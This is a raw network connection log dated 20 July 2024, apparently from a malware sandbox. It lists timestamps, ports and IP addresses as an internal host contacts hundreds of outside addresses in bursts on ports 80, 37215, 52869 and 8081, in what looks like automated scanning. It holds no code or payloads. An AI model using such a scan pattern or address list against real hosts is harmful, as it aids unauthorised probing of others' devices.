Jul 20, 2024 23:10:39.526613951 CEST	58774	80	192.168.2.15	95.168.134.142
Jul 20, 2024 23:10:39.526613951 CEST	58774	80	192.168.2.15	95.211.178.113
Jul 20, 2024 23:10:39.526613951 CEST	58774	80	192.168.2.15	95.241.154.188
Jul 20, 2024 23:10:39.526613951 CEST	58774	80	192.168.2.15	95.25.128.11
Jul 20, 2024 23:10:39.526613951 CEST	58774	80	192.168.2.15	95.119.137.221
Jul 20, 2024 23:10:39.526613951 CEST	58774	80	192.168.2.15	95.202.137.185
Jul 20, 2024 23:10:39.526613951 CEST	58774	80	192.168.2.15	95.44.130.63
Jul 20, 2024 23:10:39.526767015 CEST	37215	54142	197.39.42.138	192.168.2.15
Jul 20, 2024 23:10:39.526777029 CEST	37215	41832	41.130.29.61	192.168.2.15
Jul 20, 2024 23:10:39.526784897 CEST	37215	39728	197.202.153.125	192.168.2.15
Jul 20, 2024 23:10:39.527124882 CEST	37215	37364	197.14.81.255	192.168.2.15
Jul 20, 2024 23:10:39.527136087 CEST	37215	35092	157.149.230.36	192.168.2.15
Jul 20, 2024 23:10:39.527147055 CEST	37215	38188	197.199.57.112	192.168.2.15
Jul 20, 2024 23:10:39.527209044 CEST	58767	37215	192.168.2.15	41.188.100.170
Jul 20, 2024 23:10:39.527209044 CEST	58767	37215	192.168.2.15	157.232.22.113
Jul 20, 2024 23:10:39.527209044 CEST	53288	8081	192.168.2.15	149.156.0.71
Jul 20, 2024 23:10:39.527209044 CEST	33360	52869	192.168.2.15	162.144.96.77
Jul 20, 2024 23:10:39.527209044 CEST	58774	80	192.168.2.15	95.75.220.219
Jul 20, 2024 23:10:39.527209044 CEST	58774	80	192.168.2.15	95.143.251.31
Jul 20, 2024 23:10:39.527209044 CEST	58774	80	192.168.2.15	95.158.194.108
Jul 20, 2024 23:10:39.527209044 CEST	58774	80	192.168.2.15	95.161.59.55
Jul 20, 2024 23:10:39.527411938 CEST	37215	49010	157.5.164.72	192.168.2.15
Jul 20, 2024 23:10:39.527427912 CEST	37215	42418	216.125.26.34	192.168.2.15
Jul 20, 2024 23:10:39.527580023 CEST	37215	39428	169.37.171.79	192.168.2.15
Jul 20, 2024 23:10:39.527714014 CEST	58774	80	192.168.2.15	95.30.176.232
Jul 20, 2024 23:10:39.527714014 CEST	58774	80	192.168.2.15	95.115.180.128
Jul 20, 2024 23:10:39.527714014 CEST	58774	80	192.168.2.15	95.109.77.15
Jul 20, 2024 23:10:39.527714014 CEST	58774	80	192.168.2.15	95.23.95.223
Jul 20, 2024 23:10:39.527714968 CEST	58774	80	192.168.2.15	95.146.194.216
Jul 20, 2024 23:10:39.527714968 CEST	58774	80	192.168.2.15	95.178.222.185
Jul 20, 2024 23:10:39.527714968 CEST	58774	80	192.168.2.15	95.60.207.190
Jul 20, 2024 23:10:39.527714968 CEST	58774	80	192.168.2.15	95.93.118.216
Jul 20, 2024 23:10:39.527967930 CEST	37215	41756	157.17.105.247	192.168.2.15
Jul 20, 2024 23:10:39.528331041 CEST	37215	48658	197.140.115.187	192.168.2.15
Jul 20, 2024 23:10:39.528656006 CEST	37215	49420	197.164.89.253	192.168.2.15
Jul 20, 2024 23:10:39.528708935 CEST	37215	43258	163.110.119.229	192.168.2.15
Jul 20, 2024 23:10:39.529275894 CEST	80	58774	95.229.99.45	192.168.2.15
Jul 20, 2024 23:10:39.529285908 CEST	80	58774	95.186.31.81	192.168.2.15
Jul 20, 2024 23:10:39.529340029 CEST	58774	80	192.168.2.15	95.34.245.53
Jul 20, 2024 23:10:39.529340029 CEST	58774	80	192.168.2.15	95.255.129.47
Jul 20, 2024 23:10:39.529340029 CEST	58774	80	192.168.2.15	95.136.63.44
Jul 20, 2024 23:10:39.529340029 CEST	58774	80	192.168.2.15	95.125.94.92
Jul 20, 2024 23:10:39.529340029 CEST	58774	80	192.168.2.15	95.164.225.100
Jul 20, 2024 23:10:39.529340029 CEST	58774	80	192.168.2.15	95.186.31.81
Jul 20, 2024 23:10:39.529617071 CEST	80	58774	95.59.6.223	192.168.2.15
Jul 20, 2024 23:10:39.530100107 CEST	80	58774	95.173.62.253	192.168.2.15
Jul 20, 2024 23:10:39.530617952 CEST	80	58774	95.238.59.231	192.168.2.15
Jul 20, 2024 23:10:39.530790091 CEST	80	58774	95.228.192.1	192.168.2.15
Jul 20, 2024 23:10:39.530915976 CEST	58774	80	192.168.2.15	95.153.134.68
Jul 20, 2024 23:10:39.530915976 CEST	58774	80	192.168.2.15	95.30.110.112
Jul 20, 2024 23:10:39.530915976 CEST	58774	80	192.168.2.15	95.86.6.215
Jul 20, 2024 23:10:39.530916929 CEST	58774	80	192.168.2.15	95.0.142.171
Jul 20, 2024 23:10:39.530916929 CEST	58774	80	192.168.2.15	95.44.166.55
Jul 20, 2024 23:10:39.530916929 CEST	58774	80	192.168.2.15	95.178.54.230
Jul 20, 2024 23:10:39.530916929 CEST	58774	80	192.168.2.15	95.200.202.200
Jul 20, 2024 23:10:39.530916929 CEST	58774	80	192.168.2.15	95.109.107.38
Jul 20, 2024 23:10:39.531337023 CEST	80	58774	95.165.233.32	192.168.2.15
Jul 20, 2024 23:10:39.531548023 CEST	80	58774	95.46.189.63	192.168.2.15
Jul 20, 2024 23:10:39.531558037 CEST	80	58774	95.164.57.246	192.168.2.15
Jul 20, 2024 23:10:39.532237053 CEST	80	58774	95.168.134.142	192.168.2.15
Jul 20, 2024 23:10:39.532289028 CEST	58774	80	192.168.2.15	95.173.62.253
Jul 20, 2024 23:10:39.532289028 CEST	58774	80	192.168.2.15	95.46.189.63
Jul 20, 2024 23:10:39.532289028 CEST	58774	80	192.168.2.15	95.168.134.142
Jul 20, 2024 23:10:39.532330036 CEST	37215	47380	41.7.140.134	192.168.2.15
Jul 20, 2024 23:10:39.532422066 CEST	58774	80	192.168.2.15	95.185.71.172
Jul 20, 2024 23:10:39.532422066 CEST	58774	80	192.168.2.15	95.92.192.79
Jul 20, 2024 23:10:39.532422066 CEST	58774	80	192.168.2.15	95.2.43.212
Jul 20, 2024 23:10:39.532422066 CEST	58774	80	192.168.2.15	95.23.66.32
Jul 20, 2024 23:10:39.532422066 CEST	58774	80	192.168.2.15	95.59.6.223
Jul 20, 2024 23:10:39.532422066 CEST	58774	80	192.168.2.15	95.164.57.246
Jul 20, 2024 23:10:39.532587051 CEST	80	58774	95.211.178.113	192.168.2.15
Jul 20, 2024 23:10:39.532840014 CEST	80	58774	95.95.101.132	192.168.2.15
Jul 20, 2024 23:10:39.532980919 CEST	80	58774	95.241.154.188	192.168.2.15
Jul 20, 2024 23:10:39.533055067 CEST	80	58774	95.30.176.232	192.168.2.15
Jul 20, 2024 23:10:39.533525944 CEST	80	58774	95.25.128.11	192.168.2.15
Jul 20, 2024 23:10:39.533617973 CEST	80	58774	95.115.180.128	192.168.2.15
Jul 20, 2024 23:10:39.533627033 CEST	80	58774	95.119.137.221	192.168.2.15
Jul 20, 2024 23:10:39.533636093 CEST	80	58774	95.12.38.231	192.168.2.15
Jul 20, 2024 23:10:39.534054041 CEST	80	58774	95.202.137.185	192.168.2.15
Jul 20, 2024 23:10:39.534117937 CEST	58774	80	192.168.2.15	95.211.178.113
Jul 20, 2024 23:10:39.534117937 CEST	58774	80	192.168.2.15	95.241.154.188
Jul 20, 2024 23:10:39.534117937 CEST	58774	80	192.168.2.15	95.25.128.11
Jul 20, 2024 23:10:39.534117937 CEST	58774	80	192.168.2.15	95.119.137.221
Jul 20, 2024 23:10:39.534117937 CEST	58774	80	192.168.2.15	95.202.137.185
Jul 20, 2024 23:10:39.534363031 CEST	58767	37215	192.168.2.15	157.189.91.200
Jul 20, 2024 23:10:39.534363031 CEST	58767	37215	192.168.2.15	111.163.126.214
Jul 20, 2024 23:10:39.534363031 CEST	58767	37215	192.168.2.15	157.122.189.252
Jul 20, 2024 23:10:39.534363031 CEST	58767	37215	192.168.2.15	191.255.173.248
Jul 20, 2024 23:10:39.534363031 CEST	58767	37215	192.168.2.15	197.238.149.242
Jul 20, 2024 23:10:39.534363031 CEST	58767	37215	192.168.2.15	197.118.190.114
Jul 20, 2024 23:10:39.534363031 CEST	58767	37215	192.168.2.15	197.208.237.188
Jul 20, 2024 23:10:39.534363031 CEST	58767	37215	192.168.2.15	90.233.161.79
Jul 20, 2024 23:10:39.534693956 CEST	80	58774	95.218.189.209	192.168.2.15
Jul 20, 2024 23:10:39.534909964 CEST	80	58774	95.44.130.63	192.168.2.15
Jul 20, 2024 23:10:39.534919977 CEST	80	58774	95.103.91.154	192.168.2.15
Jul 20, 2024 23:10:39.534929037 CEST	80	58774	95.34.245.53	192.168.2.15
Jul 20, 2024 23:10:39.534938097 CEST	80	58774	95.109.77.15	192.168.2.15
Jul 20, 2024 23:10:39.535376072 CEST	80	58774	95.17.250.77	192.168.2.15
Jul 20, 2024 23:10:39.535386086 CEST	80	58774	95.255.129.47	192.168.2.15
Jul 20, 2024 23:10:39.535394907 CEST	80	58774	95.23.95.223	192.168.2.15
Jul 20, 2024 23:10:39.535707951 CEST	80	58774	95.223.56.48	192.168.2.15
Jul 20, 2024 23:10:39.535769939 CEST	80	58774	95.136.63.44	192.168.2.15
Jul 20, 2024 23:10:39.535779953 CEST	80	58774	95.169.115.0	192.168.2.15
Jul 20, 2024 23:10:39.535967112 CEST	58774	80	192.168.2.15	95.124.160.25
Jul 20, 2024 23:10:39.535967112 CEST	58774	80	192.168.2.15	95.214.147.90
Jul 20, 2024 23:10:39.535967112 CEST	58774	80	192.168.2.15	95.233.19.35
Jul 20, 2024 23:10:39.535967112 CEST	58774	80	192.168.2.15	95.221.230.229
Jul 20, 2024 23:10:39.535967112 CEST	58774	80	192.168.2.15	95.227.134.103
Jul 20, 2024 23:10:39.535967112 CEST	58774	80	192.168.2.15	95.52.230.104
Jul 20, 2024 23:10:39.535967112 CEST	58774	80	192.168.2.15	95.69.28.240
Jul 20, 2024 23:10:39.536211967 CEST	80	58774	95.146.194.216	192.168.2.15
Jul 20, 2024 23:10:39.536221981 CEST	80	58774	95.125.94.92	192.168.2.15
Jul 20, 2024 23:10:39.536231041 CEST	80	58774	95.178.222.185	192.168.2.15
Jul 20, 2024 23:10:39.536571980 CEST	58774	80	192.168.2.15	95.36.223.39
Jul 20, 2024 23:10:39.536571980 CEST	58774	80	192.168.2.15	95.241.31.176
Jul 20, 2024 23:10:39.536571980 CEST	58774	80	192.168.2.15	95.11.204.149
Jul 20, 2024 23:10:39.536571980 CEST	58774	80	192.168.2.15	95.168.89.136
Jul 20, 2024 23:10:39.536571980 CEST	58774	80	192.168.2.15	95.243.102.72
Jul 20, 2024 23:10:39.536571980 CEST	58774	80	192.168.2.15	95.90.126.229
Jul 20, 2024 23:10:39.536571980 CEST	58774	80	192.168.2.15	95.240.26.5
Jul 20, 2024 23:10:39.536571980 CEST	58774	80	192.168.2.15	95.126.120.237
Jul 20, 2024 23:10:39.536840916 CEST	58774	80	192.168.2.15	95.44.130.63
Jul 20, 2024 23:10:39.536840916 CEST	58774	80	192.168.2.15	95.34.245.53
Jul 20, 2024 23:10:39.536840916 CEST	58774	80	192.168.2.15	95.255.129.47
Jul 20, 2024 23:10:39.536840916 CEST	58774	80	192.168.2.15	95.136.63.44
Jul 20, 2024 23:10:39.536840916 CEST	58774	80	192.168.2.15	95.125.94.92
Jul 20, 2024 23:10:39.537040949 CEST	37215	54880	41.160.200.207	192.168.2.15
Jul 20, 2024 23:10:39.537050009 CEST	80	58774	95.60.207.190	192.168.2.15
Jul 20, 2024 23:10:39.537059069 CEST	80	58774	95.153.134.68	192.168.2.15
Jul 20, 2024 23:10:39.537175894 CEST	80	58774	95.164.225.100	192.168.2.15
Jul 20, 2024 23:10:39.537302971 CEST	80	58774	95.30.110.112	192.168.2.15
Jul 20, 2024 23:10:39.537343025 CEST	80	58774	95.93.118.216	192.168.2.15
Jul 20, 2024 23:10:39.537782907 CEST	58774	80	192.168.2.15	95.95.101.132
Jul 20, 2024 23:10:39.537782907 CEST	58774	80	192.168.2.15	95.30.176.232
Jul 20, 2024 23:10:39.537782907 CEST	58774	80	192.168.2.15	95.115.180.128
Jul 20, 2024 23:10:39.537782907 CEST	58774	80	192.168.2.15	95.109.77.15
Jul 20, 2024 23:10:39.537782907 CEST	58774	80	192.168.2.15	95.23.95.223
Jul 20, 2024 23:10:39.537782907 CEST	58774	80	192.168.2.15	95.146.194.216
Jul 20, 2024 23:10:39.537782907 CEST	58774	80	192.168.2.15	95.178.222.185
Jul 20, 2024 23:10:39.537782907 CEST	58774	80	192.168.2.15	95.60.207.190
Jul 20, 2024 23:10:39.539613962 CEST	58774	80	192.168.2.15	95.221.62.239
Jul 20, 2024 23:10:39.539613962 CEST	58774	80	192.168.2.15	95.233.152.25
Jul 20, 2024 23:10:39.539613962 CEST	58774	80	192.168.2.15	95.80.185.46
Jul 20, 2024 23:10:39.539613962 CEST	58774	80	192.168.2.15	95.225.30.139
Jul 20, 2024 23:10:39.539613962 CEST	58774	80	192.168.2.15	95.82.24.131
Jul 20, 2024 23:10:39.539613962 CEST	58774	80	192.168.2.15	95.229.99.45
Jul 20, 2024 23:10:39.539613962 CEST	58774	80	192.168.2.15	95.238.59.231
Jul 20, 2024 23:10:39.539613962 CEST	58774	80	192.168.2.15	95.228.192.1
Jul 20, 2024 23:10:39.539882898 CEST	58774	80	192.168.2.15	95.164.225.100
Jul 20, 2024 23:10:39.541662931 CEST	58774	80	192.168.2.15	95.93.118.216
Jul 20, 2024 23:10:39.542820930 CEST	37215	52988	157.248.175.173	192.168.2.15
Jul 20, 2024 23:10:39.542831898 CEST	80	58774	95.86.6.215	192.168.2.15
Jul 20, 2024 23:10:39.542840958 CEST	80	58774	95.0.142.171	192.168.2.15
Jul 20, 2024 23:10:39.542850018 CEST	8081	53288	149.156.0.71	192.168.2.15
Jul 20, 2024 23:10:39.542857885 CEST	80	58774	95.185.71.172	192.168.2.15
Jul 20, 2024 23:10:39.542867899 CEST	80	58774	95.44.166.55	192.168.2.15
Jul 20, 2024 23:10:39.542880058 CEST	80	58774	95.178.54.230	192.168.2.15
Jul 20, 2024 23:10:39.542891026 CEST	80	58774	95.92.192.79	192.168.2.15
Jul 20, 2024 23:10:39.542892933 CEST	58774	80	192.168.2.15	95.185.71.172
Jul 20, 2024 23:10:39.542900085 CEST	80	58774	95.200.202.200	192.168.2.15
Jul 20, 2024 23:10:39.542907953 CEST	80	58774	95.128.24.154	192.168.2.15
Jul 20, 2024 23:10:39.542917013 CEST	37215	50780	157.16.29.198	192.168.2.15
Jul 20, 2024 23:10:39.542927980 CEST	80	58774	95.2.43.212	192.168.2.15
Jul 20, 2024 23:10:39.542936087 CEST	80	58774	95.109.107.38	192.168.2.15
Jul 20, 2024 23:10:39.542943954 CEST	80	58774	95.23.66.32	192.168.2.15
Jul 20, 2024 23:10:39.542956114 CEST	80	58774	95.36.223.39	192.168.2.15
Jul 20, 2024 23:10:39.542968988 CEST	80	58774	95.241.31.176	192.168.2.15
Jul 20, 2024 23:10:39.542979002 CEST	80	58774	95.11.204.149	192.168.2.15
Jul 20, 2024 23:10:39.543168068 CEST	80	58774	95.168.89.136	192.168.2.15
Jul 20, 2024 23:10:39.543771982 CEST	80	58774	95.243.102.72	192.168.2.15
Jul 20, 2024 23:10:39.543782949 CEST	52869	33360	162.144.96.77	192.168.2.15
Jul 20, 2024 23:10:39.544008970 CEST	58767	37215	192.168.2.15	157.143.177.229
Jul 20, 2024 23:10:39.544008970 CEST	58767	37215	192.168.2.15	191.33.63.137
Jul 20, 2024 23:10:39.544008970 CEST	58767	37215	192.168.2.15	197.184.208.241
Jul 20, 2024 23:10:39.544008970 CEST	58767	37215	192.168.2.15	197.223.106.178
Jul 20, 2024 23:10:39.544008970 CEST	58767	37215	192.168.2.15	157.226.25.198
Jul 20, 2024 23:10:39.544008970 CEST	58767	37215	192.168.2.15	197.170.45.9
Jul 20, 2024 23:10:39.544008970 CEST	58767	37215	192.168.2.15	157.65.233.23
Jul 20, 2024 23:10:39.544008970 CEST	58767	37215	192.168.2.15	41.229.83.179
Jul 20, 2024 23:10:39.544399023 CEST	80	58774	95.90.126.229	192.168.2.15
Jul 20, 2024 23:10:39.544553995 CEST	80	58774	95.240.26.5	192.168.2.15
Jul 20, 2024 23:10:39.544563055 CEST	80	58774	95.126.120.237	192.168.2.15
Jul 20, 2024 23:10:39.544817924 CEST	58774	80	192.168.2.15	95.148.113.11
Jul 20, 2024 23:10:39.544817924 CEST	58774	80	192.168.2.15	95.174.73.73
Jul 20, 2024 23:10:39.544817924 CEST	58774	80	192.168.2.15	95.66.156.7
Jul 20, 2024 23:10:39.544817924 CEST	58774	80	192.168.2.15	95.52.99.148
Jul 20, 2024 23:10:39.544817924 CEST	58774	80	192.168.2.15	95.40.235.164
Jul 20, 2024 23:10:39.544817924 CEST	58774	80	192.168.2.15	95.229.128.226
Jul 20, 2024 23:10:39.544817924 CEST	58774	80	192.168.2.15	95.38.223.49
Jul 20, 2024 23:10:39.544817924 CEST	58774	80	192.168.2.15	95.21.219.205
Jul 20, 2024 23:10:39.545068979 CEST	80	58774	95.75.220.219	192.168.2.15
Jul 20, 2024 23:10:39.545078993 CEST	37215	46082	197.146.154.155	192.168.2.15
Jul 20, 2024 23:10:39.545171022 CEST	58767	37215	192.168.2.15	41.158.54.200
Jul 20, 2024 23:10:39.545171022 CEST	58767	37215	192.168.2.15	99.14.57.203
Jul 20, 2024 23:10:39.545171022 CEST	58767	37215	192.168.2.15	157.30.179.159
Jul 20, 2024 23:10:39.545171022 CEST	58767	37215	192.168.2.15	197.17.241.234
Jul 20, 2024 23:10:39.545171022 CEST	58767	37215	192.168.2.15	197.211.138.102
Jul 20, 2024 23:10:39.545171022 CEST	58767	37215	192.168.2.15	157.84.216.203
Jul 20, 2024 23:10:39.545171022 CEST	58767	37215	192.168.2.15	96.161.54.147
Jul 20, 2024 23:10:39.545171022 CEST	58767	37215	192.168.2.15	46.165.139.29
Jul 20, 2024 23:10:39.545243025 CEST	37215	38488	41.135.228.141	192.168.2.15
Jul 20, 2024 23:10:39.545253038 CEST	37215	45784	157.238.194.50	192.168.2.15
Jul 20, 2024 23:10:39.545262098 CEST	37215	43856	41.109.172.235	192.168.2.15
Jul 20, 2024 23:10:39.545304060 CEST	37215	44484	76.125.10.46	192.168.2.15
Jul 20, 2024 23:10:39.545320034 CEST	37215	38056	157.113.132.47	192.168.2.15
Jul 20, 2024 23:10:39.545329094 CEST	80	58774	95.143.251.31	192.168.2.15
Jul 20, 2024 23:10:39.545336962 CEST	37215	38488	41.135.228.141	192.168.2.15
Jul 20, 2024 23:10:39.545739889 CEST	58774	80	192.168.2.15	95.92.192.79
Jul 20, 2024 23:10:39.545739889 CEST	58774	80	192.168.2.15	95.2.43.212
Jul 20, 2024 23:10:39.545739889 CEST	58774	80	192.168.2.15	95.23.66.32
Jul 20, 2024 23:10:39.545816898 CEST	80	58774	95.221.62.239	192.168.2.15
Jul 20, 2024 23:10:39.545825958 CEST	80	58774	95.233.152.25	192.168.2.15
Jul 20, 2024 23:10:39.546247005 CEST	80	58774	95.80.185.46	192.168.2.15
Jul 20, 2024 23:10:39.546797037 CEST	80	58774	95.225.30.139	192.168.2.15
Jul 20, 2024 23:10:39.546809912 CEST	80	58774	95.82.24.131	192.168.2.15
Jul 20, 2024 23:10:39.547528982 CEST	58774	80	192.168.2.15	95.165.233.32
Jul 20, 2024 23:10:39.547529936 CEST	58774	80	192.168.2.15	95.12.38.231
Jul 20, 2024 23:10:39.547529936 CEST	58774	80	192.168.2.15	95.218.189.209
Jul 20, 2024 23:10:39.547529936 CEST	58774	80	192.168.2.15	95.103.91.154
Jul 20, 2024 23:10:39.547529936 CEST	58774	80	192.168.2.15	95.17.250.77
Jul 20, 2024 23:10:39.547529936 CEST	58774	80	192.168.2.15	95.223.56.48
Jul 20, 2024 23:10:39.547529936 CEST	58774	80	192.168.2.15	95.169.115.0
Jul 20, 2024 23:10:39.547529936 CEST	58774	80	192.168.2.15	95.153.134.68
Jul 20, 2024 23:10:39.548387051 CEST	80	58774	95.124.160.25	192.168.2.15
Jul 20, 2024 23:10:39.548499107 CEST	80	58774	95.214.147.90	192.168.2.15
Jul 20, 2024 23:10:39.548861027 CEST	58774	80	192.168.2.15	95.252.33.235
Jul 20, 2024 23:10:39.548861027 CEST	58774	80	192.168.2.15	95.64.131.39
Jul 20, 2024 23:10:39.548861027 CEST	58774	80	192.168.2.15	95.133.225.196
Jul 20, 2024 23:10:39.548861027 CEST	58774	80	192.168.2.15	95.3.91.177
Jul 20, 2024 23:10:39.548861027 CEST	58774	80	192.168.2.15	95.148.78.203
Jul 20, 2024 23:10:39.548861027 CEST	58774	80	192.168.2.15	95.3.240.129
Jul 20, 2024 23:10:39.548861027 CEST	58774	80	192.168.2.15	95.202.171.98
Jul 20, 2024 23:10:39.548861027 CEST	58774	80	192.168.2.15	95.15.248.105
Jul 20, 2024 23:10:39.548974991 CEST	58767	37215	192.168.2.15	4.83.245.162
Jul 20, 2024 23:10:39.548974991 CEST	58767	37215	192.168.2.15	41.26.224.252
Jul 20, 2024 23:10:39.548974991 CEST	58767	37215	192.168.2.15	41.141.218.167
Jul 20, 2024 23:10:39.548974991 CEST	58767	37215	192.168.2.15	157.179.90.251
Jul 20, 2024 23:10:39.548974991 CEST	58767	37215	192.168.2.15	124.184.6.34
Jul 20, 2024 23:10:39.548974991 CEST	58767	37215	192.168.2.15	208.78.7.201
Jul 20, 2024 23:10:39.548974991 CEST	58767	37215	192.168.2.15	31.188.219.11
Jul 20, 2024 23:10:39.548974991 CEST	58767	37215	192.168.2.15	44.227.194.233
Jul 20, 2024 23:10:39.549015999 CEST	37215	45784	157.238.194.50	192.168.2.15
Jul 20, 2024 23:10:39.549055099 CEST	37215	43856	41.109.172.235	192.168.2.15
Jul 20, 2024 23:10:39.549063921 CEST	80	58774	95.158.194.108	192.168.2.15
Jul 20, 2024 23:10:39.549335957 CEST	80	58774	95.233.19.35	192.168.2.15
Jul 20, 2024 23:10:39.549906015 CEST	80	58774	95.161.59.55	192.168.2.15
Jul 20, 2024 23:10:39.549916029 CEST	80	58774	95.221.230.229	192.168.2.15
Jul 20, 2024 23:10:39.550324917 CEST	58767	37215	192.168.2.15	157.131.35.129
Jul 20, 2024 23:10:39.550324917 CEST	58767	37215	192.168.2.15	156.59.163.156
Jul 20, 2024 23:10:39.550324917 CEST	58767	37215	192.168.2.15	157.124.60.238
Jul 20, 2024 23:10:39.550324917 CEST	58767	37215	192.168.2.15	157.169.100.88
Jul 20, 2024 23:10:39.550324917 CEST	58767	37215	192.168.2.15	191.0.167.71
Jul 20, 2024 23:10:39.550324917 CEST	58767	37215	192.168.2.15	197.45.161.34
Jul 20, 2024 23:10:39.550324917 CEST	58767	37215	192.168.2.15	157.180.213.243
Jul 20, 2024 23:10:39.550324917 CEST	58767	37215	192.168.2.15	41.2.113.38
Jul 20, 2024 23:10:39.551095963 CEST	58774	80	192.168.2.15	95.5.146.254
Jul 20, 2024 23:10:39.551095963 CEST	58774	80	192.168.2.15	95.214.91.201
Jul 20, 2024 23:10:39.551095963 CEST	58774	80	192.168.2.15	95.155.255.112
Jul 20, 2024 23:10:39.551095963 CEST	58774	80	192.168.2.15	95.156.123.132
Jul 20, 2024 23:10:39.551095963 CEST	58774	80	192.168.2.15	95.178.9.128
Jul 20, 2024 23:10:39.551095963 CEST	58774	80	192.168.2.15	95.176.161.157
Jul 20, 2024 23:10:39.551095963 CEST	58774	80	192.168.2.15	95.110.245.182
Jul 20, 2024 23:10:39.551095963 CEST	58774	80	192.168.2.15	95.83.212.152
Jul 20, 2024 23:10:39.551269054 CEST	80	58774	95.148.113.11	192.168.2.15
Jul 20, 2024 23:10:39.551872969 CEST	80	58774	95.174.73.73	192.168.2.15
Jul 20, 2024 23:10:39.552257061 CEST	80	58774	95.227.134.103	192.168.2.15
Jul 20, 2024 23:10:39.553178072 CEST	58774	80	192.168.2.15	95.30.110.112
Jul 20, 2024 23:10:39.553178072 CEST	58774	80	192.168.2.15	95.86.6.215
Jul 20, 2024 23:10:39.553178072 CEST	58774	80	192.168.2.15	95.0.142.171
Jul 20, 2024 23:10:39.553178072 CEST	58774	80	192.168.2.15	95.44.166.55
Jul 20, 2024 23:10:39.553178072 CEST	58774	80	192.168.2.15	95.178.54.230
Jul 20, 2024 23:10:39.553178072 CEST	58774	80	192.168.2.15	95.200.202.200
Jul 20, 2024 23:10:39.553178072 CEST	58774	80	192.168.2.15	95.109.107.38
Jul 20, 2024 23:10:39.553179026 CEST	58774	80	192.168.2.15	95.36.223.39
Jul 20, 2024 23:10:39.553248882 CEST	80	58774	95.52.230.104	192.168.2.15
Jul 20, 2024 23:10:39.553905964 CEST	80	58774	95.69.28.240	192.168.2.15
Jul 20, 2024 23:10:39.554325104 CEST	80	58774	95.66.156.7	192.168.2.15
Jul 20, 2024 23:10:39.554518938 CEST	80	58774	95.52.99.148	192.168.2.15
Jul 20, 2024 23:10:39.554668903 CEST	80	58774	95.40.235.164	192.168.2.15
Jul 20, 2024 23:10:39.555296898 CEST	80	58774	95.229.128.226	192.168.2.15
Jul 20, 2024 23:10:39.555471897 CEST	58767	37215	192.168.2.15	157.138.209.169
Jul 20, 2024 23:10:39.555473089 CEST	58767	37215	192.168.2.15	41.38.118.1
Jul 20, 2024 23:10:39.555473089 CEST	58767	37215	192.168.2.15	157.81.31.49
Jul 20, 2024 23:10:39.555473089 CEST	58767	37215	192.168.2.15	43.101.202.211
Jul 20, 2024 23:10:39.555473089 CEST	58767	37215	192.168.2.15	184.174.209.158
Jul 20, 2024 23:10:39.555473089 CEST	58774	80	192.168.2.15	95.69.91.164
Jul 20, 2024 23:10:39.555473089 CEST	58774	80	192.168.2.15	95.219.72.75
Jul 20, 2024 23:10:39.555473089 CEST	58774	80	192.168.2.15	95.155.192.126
Jul 20, 2024 23:10:39.555521965 CEST	80	58774	95.38.223.49	192.168.2.15
Jul 20, 2024 23:10:39.555958033 CEST	80	58774	95.252.33.235	192.168.2.15
Jul 20, 2024 23:10:39.556134939 CEST	58767	37215	192.168.2.15	157.44.17.70
Jul 20, 2024 23:10:39.556134939 CEST	58767	37215	192.168.2.15	95.30.169.82
Jul 20, 2024 23:10:39.556134939 CEST	54888	8081	192.168.2.15	51.24.196.130
Jul 20, 2024 23:10:39.556134939 CEST	58774	80	192.168.2.15	95.57.116.97
Jul 20, 2024 23:10:39.556134939 CEST	58774	80	192.168.2.15	95.206.145.35
Jul 20, 2024 23:10:39.556134939 CEST	58774	80	192.168.2.15	95.165.135.232
Jul 20, 2024 23:10:39.556134939 CEST	58774	80	192.168.2.15	95.74.131.221
Jul 20, 2024 23:10:39.556134939 CEST	58774	80	192.168.2.15	95.105.218.215
Jul 20, 2024 23:10:39.556422949 CEST	80	58774	95.21.219.205	192.168.2.15
Jul 20, 2024 23:10:39.557846069 CEST	58767	37215	192.168.2.15	41.112.88.104
Jul 20, 2024 23:10:39.557846069 CEST	58767	37215	192.168.2.15	160.151.120.183
Jul 20, 2024 23:10:39.557846069 CEST	58767	37215	192.168.2.15	190.185.193.215
Jul 20, 2024 23:10:39.557846069 CEST	58767	37215	192.168.2.15	197.83.181.140
Jul 20, 2024 23:10:39.557846069 CEST	58774	80	192.168.2.15	95.96.164.5
Jul 20, 2024 23:10:39.557846069 CEST	58774	80	192.168.2.15	95.24.221.92
Jul 20, 2024 23:10:39.557846069 CEST	58774	80	192.168.2.15	95.137.77.53
Jul 20, 2024 23:10:39.557846069 CEST	58774	80	192.168.2.15	95.217.253.2
Jul 20, 2024 23:10:39.558583975 CEST	80	58774	95.5.146.254	192.168.2.15
Jul 20, 2024 23:10:39.558722973 CEST	58774	80	192.168.2.15	95.29.155.76
Jul 20, 2024 23:10:39.558722973 CEST	58774	80	192.168.2.15	95.142.36.36
Jul 20, 2024 23:10:39.558722973 CEST	59184	80	192.168.2.15	88.185.132.47
Jul 20, 2024 23:10:39.558722973 CEST	59184	80	192.168.2.15	88.185.132.47
Jul 20, 2024 23:10:39.558722973 CEST	58774	80	192.168.2.15	95.128.24.154
Jul 20, 2024 23:10:39.558722973 CEST	58774	80	192.168.2.15	95.124.160.25
Jul 20, 2024 23:10:39.558722973 CEST	58774	80	192.168.2.15	95.214.147.90
Jul 20, 2024 23:10:39.558959007 CEST	80	58774	95.64.131.39	192.168.2.15
Jul 20, 2024 23:10:39.559114933 CEST	80	58774	95.214.91.201	192.168.2.15
Jul 20, 2024 23:10:39.559556007 CEST	80	58774	95.155.255.112	192.168.2.15
Jul 20, 2024 23:10:39.559643984 CEST	80	58774	95.133.225.196	192.168.2.15
Jul 20, 2024 23:10:39.560725927 CEST	80	58774	95.3.91.177	192.168.2.15
Jul 20, 2024 23:10:39.561059952 CEST	58774	80	192.168.2.15	95.241.31.176
Jul 20, 2024 23:10:39.561059952 CEST	58774	80	192.168.2.15	95.11.204.149
Jul 20, 2024 23:10:39.561059952 CEST	58774	80	192.168.2.15	95.168.89.136
Jul 20, 2024 23:10:39.561059952 CEST	58774	80	192.168.2.15	95.243.102.72
Jul 20, 2024 23:10:39.561059952 CEST	58774	80	192.168.2.15	95.90.126.229
Jul 20, 2024 23:10:39.561059952 CEST	58774	80	192.168.2.15	95.240.26.5
Jul 20, 2024 23:10:39.561059952 CEST	58774	80	192.168.2.15	95.126.120.237
Jul 20, 2024 23:10:39.561059952 CEST	58774	80	192.168.2.15	95.233.152.25
Jul 20, 2024 23:10:39.561923027 CEST	80	58774	95.156.123.132	192.168.2.15
Jul 20, 2024 23:10:39.562288046 CEST	80	58774	95.148.78.203	192.168.2.15
Jul 20, 2024 23:10:39.562525988 CEST	80	58774	95.3.240.129	192.168.2.15
